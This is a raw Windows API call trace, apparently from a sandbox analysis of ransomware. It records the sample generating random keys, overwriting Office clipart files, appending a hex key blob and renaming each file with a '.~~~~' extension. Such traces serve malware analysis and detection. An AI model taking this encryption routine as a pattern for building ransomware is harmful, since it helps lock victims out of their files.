	[0117.085] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.~~~~")) returned 1
	[0117.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0117.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0117.086] GetLastError () returned 0x0
	[0117.086] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0117.087] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.087] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0117.087] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23707702459) returned 1
	[0117.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf485810, dwHighDateTime=0x1d60e1e)) 
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8d50
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8d50 | out: hHeap=0x300000) returned 1
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6d18
	[0117.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2618
	[0117.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6d18 | out: hHeap=0x300000) returned 1
	[0117.088] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0117.088] GetLastError () returned 0x0
	[0117.088] GetLastError () returned 0x0
	[0117.088] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0117.088] GetLastError () returned 0x0
	[0117.088] GetLastError () returned 0x0
	[0117.573] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffafc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.573] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x504, lpOverlapped=0x0) returned 1
	[0117.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0117.575] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.575] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.576] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.576] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.576] CloseHandle (hObject=0x140) returned 1
	[0117.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.576] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.~~~~")) returned 1
	[0117.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0117.578] GetLastError () returned 0x0
	[0117.578] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0117.580] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.580] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0117.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0117.580] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23757023146) returned 1
	[0117.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf9222b0, dwHighDateTime=0x1d60e1e)) 
	[0117.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0117.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0117.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0117.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8e68
	[0117.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8e68 | out: hHeap=0x300000) returned 1
	[0117.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b26b0
	[0117.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.581] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0117.581] GetLastError () returned 0x0
	[0117.581] GetLastError () returned 0x0
	[0117.582] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0117.582] GetLastError () returned 0x0
	[0117.582] GetLastError () returned 0x0
	[0118.149] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff80b2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.150] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x7f4e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x7f4e, lpOverlapped=0x0) returned 1
	[0118.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0118.152] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.152] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.152] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.152] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.157] CloseHandle (hObject=0x140) returned 1
	[0118.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.158] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.~~~~")) returned 1
	[0118.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0118.159] GetLastError () returned 0x0
	[0118.160] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0118.161] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.161] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0118.162] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23815176526) returned 1
	[0118.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xafea3590, dwHighDateTime=0x1d60e1e)) 
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e92c8
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e92c8 | out: hHeap=0x300000) returned 1
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3438
	[0118.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.163] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0118.163] GetLastError () returned 0x0
	[0118.163] GetLastError () returned 0x0
	[0118.163] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0118.164] GetLastError () returned 0x0
	[0118.164] GetLastError () returned 0x0
	[0118.193] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff9cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.193] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x634, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x634, lpOverlapped=0x0) returned 1
	[0118.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0118.194] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.194] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.194] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.194] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.194] CloseHandle (hObject=0x140) returned 1
	[0118.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.~~~~")) returned 1
	[0118.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0118.198] GetLastError () returned 0x0
	[0118.198] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0118.200] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.200] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0118.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0118.200] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23819023423) returned 1
	[0118.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaff159b0, dwHighDateTime=0x1d60e1e)) 
	[0118.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0118.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0118.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0118.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e93a8
	[0118.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e93a8 | out: hHeap=0x300000) returned 1
	[0118.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3600
	[0118.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.201] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0118.201] GetLastError () returned 0x0
	[0118.202] GetLastError () returned 0x0
	[0118.202] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0118.202] GetLastError () returned 0x0
	[0118.202] GetLastError () returned 0x0
	[0118.282] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffb90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.282] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x470, lpOverlapped=0x0) returned 1
	[0118.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0118.284] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.284] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.284] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.284] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.284] CloseHandle (hObject=0x140) returned 1
	[0118.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6c70
	[0118.285] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.~~~~")) returned 1
	[0118.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6c70 | out: hHeap=0x300000) returned 1
	[0118.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0118.286] GetLastError () returned 0x0
	[0118.287] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0118.289] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.289] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0118.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0118.289] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23827949710) returned 1
	[0118.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xafffa1f0, dwHighDateTime=0x1d60e1e)) 
	[0118.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0118.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0118.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0118.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9450
	[0118.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9450 | out: hHeap=0x300000) returned 1
	[0118.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6c70
	[0118.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3860
	[0118.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6c70 | out: hHeap=0x300000) returned 1
	[0118.290] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0118.290] GetLastError () returned 0x0
	[0118.291] GetLastError () returned 0x0
	[0118.291] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0118.291] GetLastError () returned 0x0
	[0118.291] GetLastError () returned 0x0
	[0118.632] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffcc72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.632] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x338e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x338e, lpOverlapped=0x0) returned 1
	[0118.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0118.637] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.637] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.638] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
